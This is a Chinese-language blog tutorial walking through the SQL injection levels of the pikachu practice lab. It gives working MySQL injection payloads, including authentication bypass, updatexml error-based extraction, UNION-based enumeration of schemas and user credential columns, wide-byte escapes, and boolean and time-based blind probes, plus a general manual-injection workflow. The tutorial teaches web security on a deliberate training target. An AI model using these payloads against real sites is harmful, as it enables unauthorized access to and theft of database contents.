pikachu靶场通关教程(四)——SQL注入

发布于 2023-10-12  432 次阅读


总算到了SQL注入了,其实我最开始就想先讲这个部分,但还是按照顺序来了。那么话不多说,就开始吧XD

一、介绍

SQL注入是通过各种方式构造一个恶意输入,将这个恶意输入并入到数据库查询语句中,从而执行攻击者希望的恶意查询。

比如说,一个查询,需要用户输入正确的用户名和密码才能够进行正常的查询。比如用户名为Alice,密码为kuria:

select * from user where username='Alice' and password='kuria';

然而,攻击者不输入正确的用户名,而是构造恶意payload,使用户名为' or '1'='1,这样查询语句就变成了:

select * from user where username='' or '1'='1' and password='kuria';

通过构造恶意输入,就可以使得上述的查询语句条件永真,从而返回所有用户数据。

所以在涉及到数据库查询时,需要充分对用户输入进行验证与过滤。

如果希望学习sql注入,请使用sqlilabs靶场
Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. (github.com)

会比pikachu专业很多,以后我也会介绍。

二、数字型注入

关于数据提交方法的部分我就再赘述了,总之先来看看关卡。选择不同的数字点击查询后,会返回一些不同的结果。显然这里查询了两个字段,用户名和邮箱:

猜测对应了一部分代码应该是这样的:

$id = $_POST['id'];
select [username字段], [password字段] from [某个表] where id=$id;   

既然题目说是POST请求,那么就先用burp抓下包

可以看到,通过id作为参数,进行了查询(后面那串%E6%9F%A5%E8%AF%A2进行URL解码后是“查询”这两个字)

那么将这个数据包放入Repeater中,然后正式开始SQL注入,修改id为:

1 or 1=1

由于结果永真,所以所有id值都满足条件,就返回了所有数据。

三、字符型注入

字符型注入的字符也可以是数字,在这一关,我们需要考虑到符号的闭合。

既然说是get请求,那就不用burp直接看url了。先随便输点什么:

与第一关不同,这里传入的参数是kuria,那么让我们推测一下对应的代码

$name = $_GET['name'];
select [column] from [table] where name='$name';

如果有一些语言基础的话,就会知道涉及到非数字的情况,一般是要使用引号将字符包裹的(当然数字也可以作为字符)。所以如果我们还像第一关时,不考虑引号直接注入的话:

# payload
kuria or 1=1

# 查询语句
select [column] from [table] where name='kuria or 1=1';

显然,这里查询了一个叫做kuria or 1=1的用户,并不是我们希望的恶意payload,所以要注意闭合引号:

# payload
1' or '1'='1

# 查询语句
select [column] from [table] where name='1' or '1'='1';

1' or '1'='1有的时候被叫做万能钥匙,有的时候网站没做好过滤就可以直接进去。咳咳,总之,闭合好引号之后,查询语句就变得正常了,那么实际操作一下。

ok,下一关

四、搜索型注入

其实还是闭合的问题,只不过这里不是引号

输点什么看看先

输入a,把所有包含a的信息都弹出来了。那么应该是使用了like运算符进行模糊查询,对应的代码应该为:

select [column] from [table] where name like '%$name%';

也就是说,我们闭合的时候要同时注意闭合%,那就很简单了,只要让语句变成:

#payload
1%' or 1=1#

# #在mysql中表示注释掉后面的内容
select [column] from [table] where name like '%1%' or 1=1#%';

就这样过关。

五、XX型注入

这里的XX不是缩写,而是泛指各种什么什么类型的注入,但在没有WAF下核心只有一条,构造闭合。

在真实情境里,后端会用各种方式阻碍我们拼接payload,比如(['"等等需要闭合的,这些都可以通过sqlmap等工具自动实现。但我们这里需要让大家掌握手工注入的原理,所以没用这些工具。

总之,就是想告诉大家,注入是需要很多尝试的,大多数情况下并不会非常轻易地就让你成功注入。

我们直接来看看后端代码:

这里使用了()来妨碍我们,如果不是直接看代码的话,是不会这么容易就得知的。既然知道代码,payload就很好构造了。

1') or 1=1#

ok,下一关

六、INSERT/UPDATE注入

数据库的操作简单的可以归类为四种,增删改查——INSERT、DELETE、UPDATE、SELECT。

本质上都是一样的,就是攻击者如何利用sql语句。总之先来看看,这里有一个注册按钮,是常见的INSERT注入产生的位置。

尝试判断一下是否为注入点,pikachu内都把报错信息显示出来了,正常是不可以这样的。我们在用户处只输入一个',而不闭合,正常来说就会报错

果然报错了,那么基本可以断定有注入,可以猜测一下语句:

insert into table(username, password, sex, phonenum, email, address) values('', '', '', '' ,'' ,'');

INSERT注入是将我们的注入信息,通过INSERT插入到数据库中,一般来说,是一种没有回显的注入。也就是说,我们要进行盲注。下面会有一个部分将盲注并介绍通常的数据库注入流程,这里先简单提一下。

这里使用一种叫做报错注入的方式,就是使用一些函数让语句强制报错,同时获取到数据库的一些相应信息。(这里为了方便可以用burp中的Repeater)

1' and updatexml(1, concat(0x7e, database()), 0) or '

这里使用了updatexml(),涉及到了三个参数

updatexml(target, xpath, new_value)

target:要修改的xml文档名称。这里使用1就是为了报错
xpath:是一个xpath表达式,用于指定要更新的XML元素或属性的位置。想要具体深入可以学习xpath语句
new value:指定修改的新值。但在这里可以随意

然后具体看看concat中的内容,这个之后也会比较常见,所以可以重点记一下,其实也很简单:

concat(string1, string2, ...)

concat是一个SQL函数,用于将多个字符串连接在一起,以创建一个新的字符串。
string1, string2, ...:这些是要连接的字符串参数。你可以指定一个或多个字符串,用逗号分隔。CONCAT 函数会按照参数的顺序将它们连接在一起,并返回一个包含连接后内容的新字符串。

那么上述payload中就是将~的十六进制0x7e和数据库名拼接起来,方便你查找。

介绍完毕,回到得到数据库名称的位置,那么就该查找表名了。也就是修改database()这个部分为查询语句,上面涉及到的一些表名和列名后面的部分会介绍,这里先别在意。

这里提供两个Payload

1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu')), 0) or '

这个方法在select后面的字段前加了group_concat使得所有回显可以在同一行显示出来,也是我比较推荐的方法。但缺点在于,有到时候返回值会受到长度限制,比如这张图中xssblind表就没完全显示出来。

1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0) or '

第二种则没有用group_concat,而是在后面使用了limit。可以看到我添加了limit 0,1这个关键字,用于限定输入的行

limit 0,1

第一个数字0,是偏移量,表示从结果集的第一行开始。
第二个数字1,是行数限制,表示返回的结果行数为1。

如果不加limit就会报错

意思是返回值多余一行。所以我们就修改第一个数字,就可以逐行得到表名称。接下来我们用users表(limit 1,1时出现)来示范后面的步骤。

得到列名称

1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='member')), 0) or '

这样我们就得到了该表中的所有列名称(其实还有address和email两个字段,这里长度被限制了。使用另一种方法就可以完整的查出来就是有点麻烦)接下来就是取数据,使用简单的查询语句就行了

1' and updatexml(1, concat(0x7e, (select username from member limit 0,1)), 0) or '

这里应该报错了,很遗憾这是mysql的特性,不允许先查询的同时更新对应表的数据还是改成users表吧

1' and updatexml(1, concat(0x7e, (select group_concat(username) from users)), 0) or '

然后依次查出所有数据。

而UPDATE一般产生在修改信息的地方,比如:

流程和INSERT一样,就不再重复了。

七、DELETE注入

这种注入如名字一样,一般会出现在删除信息的时候。随便添加一条消息然后删除,并进行抓包

可以看到,通过get请求提交了一个id,那么我们就可以尝试利用这个id进行注入。同样,由于删除操作也是没有回显的,我们要利用上面使用过的报错注入。

1+and+updatexml(1,+concat(0x7e,+database()),+0)

后面的步骤也和INSERT和UPDATE注入一样,就不多说了。但由于这里是get请求,所以空格要使用+来表示,否则服务端可能无法正常地接收请求。

八、http header注入

又叫http头部注入,就是通过修改http头部的字段,来达到注入的效果。比如一道常见的笔试题:

如果在某次渗透过程中,被提示“已检测到您疑似攻击的行为,已记录您的IP:XX.XX.XX.XX,你有什么思路么?”

这个时候,就可以尝试修改请求包中的IP值,协助完成各种攻击。(当然要注意,并不是完全可行的。如果对方是从网络层获取IP的话,就无法通过这种方式攻击)

话就到这里,我们尝试登录(账号密码在右上角tip中),登录之后提示了被记录的信息

可以猜测,是获取了http头部的字段信息。而如果它涉及到了数据库查询,就一定是字符型。那么我们尝试修改字段为一个未闭合的引号

出现了查询的报错信息,那么那么接下来就有回到上面的步骤了

1' or updatexml(1, concat(0x7e, database()), 0) or '

下面不在赘述

九、宽字节注入

首先要搞懂什么是宽字节注入:

在查询时'是一个非常敏感的字符,因为很多注入都会涉及到这个符号,所以为了让'只被识别为文本的作用,经常会对其进行转义,即加上\变为\'

首先理解几个定义:
宽字节:字符大小为两个字节
窄字节:字符大小为一个字节

\的url编码为%5c,'的url编码为%27

一般来说,一个字母或数字是占一个字节,一个汉字占两个字节。因此如果当前一个字节的ASCII2码大于128时,就会被识别为汉字,从而将\作为汉字的一部分被解码,从而使得'逃逸出来。如构造了Payload:

# 参数为
name=kuria' or 1=1#

# 这个参数会被转义为
kuria\' or 1=1#

宽字节注入则是在'前添加一个ASCII2码大于128的url编码

# 参数为
name=kuria%df' or 1=1#

# 这个参数会被转义为
kuria%df\' or 1=1#

# 只看%df\'这个部分,被url编码后会变为
%df%5c%27

# 由于第一个编码的ASCII2大于128,所以在解码时,前两个编码会被识别为一个汉字
縗'

# 最终注入的语句就变为
name=縗' or 1=1#

从而成功注入,%df并不是唯一的,还可以选择别的值,只是and在php转义后就是%df,所以用的人很多。那么进入关卡吧。

1%df' or 1=1#

好像已经没什么可以讲的了,就直接放结果图好了。

十、盲注

盲注,就是在注入时没有回显的时候使用的方法,通常通过各种特定的函数来达到获取信息的目的。

盲注一般分为三种:报错注入、布尔注入、延时注入。
报错注入已经讲完了,这里介绍一下布尔注入和延时注入。

(1)布尔注入

通过实例来讲解,看看布尔注入这一关。

vince' and 1=1#
vince' and 1=2#

可以看到有不同的输出结果,但是没有回显。布尔注入一般是使用length()、substr()这两个函数来猜测某个字符的长度,某一位的字符。

length(str) # 返回str的长度
select length("hello") # 将返回5

substr(str, start, length) # 从str的第start个字符开始,截取length的长度
select substr("hello,world", 3, 2) #将返回"ll"

同样要从数据库名称开始,我们可以先猜测数据库名的长度。

vince' and length(database())=7#

只有猜到正确的长度时,才会返回信息(可以使用大于小于号进行二分法)

然后逐位猜测字符

vince' and ascii(substr(database(), 1, 1))=112#

这里使用ascii编码可以避免转义,同时在开发脚本工具的时候更加简单(便于遍历)

然后就是逐个猜解表名,列名,数据。依旧是重复上面的步骤。

(2)延时注入

延时注入则是使用到了sleep()与if()函数

sleep(time) # 将休眠time秒

if(condition, A, B) # condition为True则返回A,condition为False则返回B

将二者结合

sleep(if(condition, A, B)) # condition为True则休眠A秒,condition为False则休眠B秒
if(conditon, sleep(time), null) # condition为True则休眠time秒,condition为False则不休眠

延时注入就是通过延时的时间来判断条件是否正确

vince' and sleep(if(ascii(substr(database(), 1, 1))=112, 5, 0))#
vince' and if(ascii(substr(database(), 1, 1))=112, sleep(5), null)#

如果产生了延时则说明猜测正确。之后的猜解也不再重复。

(3)比较

需要使用盲注时,最优选择是报错注入,可以强制回显且简单快捷
其次是布尔注入,最后才是延时注入。在注入次数多的情况下,延时注入需要的时间实在是太长了。

十一、常用流程

可以看到上面不同种类的注入方式流程是非常相似的,所以这里总结一下手工注入的常见流程,这里用字符型注入作为演示。

1.判断注入

在找到一个注入点之后要判断是否可以注入。

1' and '1'='1
1' and '1'='2

如果回显有不同,则说明存在注入点

2.猜解列名数量

在查询后面加上order by [列数],当某个数字报错时,就表示前一个数字是正确的列数

如使用payload:

' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#

当输到3时,第一次报错,说明存在两个字段

3.查看回显显示的位置

1' union select 1,2#

可以看到对应的位置出现了1,2这样的数字,这一步是确定回显所占的位置。比如有是猜解列名数量时猜解出了了三个字段,但是通过这一步会发现页面中只有1和3,我们就要在对应的数字上进行信息获取。

4.信息收集

接下来解释修改联合查询语句。首先是获取数据库名

1' union select database(),2#

看到我们将select后的1修改为了database(),下面的回显原本是1的位置就变成了返回的数据库名称,希望这个示例能够帮助你理解上面所说的“在对应的数字上进行信息获取”。

在进行下一步,之前你要知道mysql一些表和对应的列名

--------常用的表名--------
# 记录所有数据库名信息的表
information_schema.schemata

# 记录所有表名信息的表
information_schema.tables

# 记录所有列名信息的表
information_schema.columns

--------常用的列名--------
# 表对应的库名
table_schema

# 表名
table_name

# 列名
column_name

mysql5.0以下成为低版本,5.0以上成为高版本。只有在高版本才有这些表,可以通过version()查看版本信息。

1' union select version(),2#

有了这些知识之后,就可以开始查找表名了,可以尝试理解一下下面的查询语句

-1' union select table_schema, table_name from information_schema.tables where table_schema="pikachu"#

这样就得到了所有的表名,然后就可以开始查找列名,用member表示范

-1' union select table_name, column_name from information_schema.columns where table_name="member"#

最后就可以获取数据了

-1' union select username, pw from member #

这样我们就可以获取到任意的数据了。最后说一下如果要查特定数据库下的某个表的话,对应表名的形式是database.table。

十二、后记

sql注入写起来果然是得心应手,好快。不过也可能是比较简单,之后在CTF赛题里应该还会继续讲讲,有一个作者的系列赛题我印象还挺深的来着。

那么下一个部分再见咯(*^▽^*)